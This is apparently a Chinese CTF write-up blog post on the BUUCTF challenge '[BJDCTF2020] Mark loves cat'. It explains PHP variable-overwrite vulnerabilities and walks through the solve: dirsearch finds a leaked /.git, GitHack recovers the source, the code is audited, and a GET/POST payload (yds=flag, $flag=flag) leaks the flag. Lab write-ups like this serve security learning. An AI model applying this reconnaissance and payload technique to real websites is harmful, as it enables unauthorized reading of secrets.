【学习笔记 34】 buu [BJDCTF2020]Mark loves cat

0x00 知识点

  1. /.git源码泄露
  2. 代码审计
  3. 变量覆盖漏洞

0x01 知识点详解

  1. 什么是变量覆盖漏洞?
    答:变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等。

本题就是因为"$$"使得一个 可变变量获得了一个普通变量的值

0x02 解题思路

  1. 首先利用dirsearch可以扫到/.git泄露,这里注意dirsearch是要在python3环境下运行的,之后利用githack获取源码,这里注意githack需要在python2环境下运行。接下来就是代码审计。
  2. 先看看flag.php里有什么
<?php

$flag = file_get_contents('/flag');

就是执行一下flag
接下里看看index.php,把代码拉到底,终于看到了有用的代码。

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){利用foreach遍历键名以及键值
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){//如果get传参的值是$flag=flag,这里要利用get传的键名不为flag来绕过
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){//如果get和post传进来的键名都为flag就退出判断,这里要利用post传的键名为flag,或者post不传值绕过
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){//如果post传的是flag=flag或者get传的是flag=flag就退出判断,这里要让post传进值为$flag=flag或者post不传值来绕过
    exit($is);
}



echo "the flag is: ".$flag;//完成前边的绕过后让get传的值到这里是$flag

这里有两个地方需要注意
1.

foreach($_POST as $x => $y){利用foreach遍历键名以及键值
    $$x = $y;

这里需要传进来一个$flag=flag,这时$x就是$flag,$y就是flag,之后$$x就是$$flag变成了一个可变变量。

foreach($_GET as $x => $y){
    $$x = $$y;

这里需要传一个yds=flag,这时$x就是yds,$y就是flag,之后$$x就是$yds,$$y就是$flag,正好满足绕过条件后最后可以执行$flag

  1. 最后构造payload
GET:yds=flag
POST: $flag=flag

在这里插入图片描述
之后查看源码
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43553654/article/details/107703113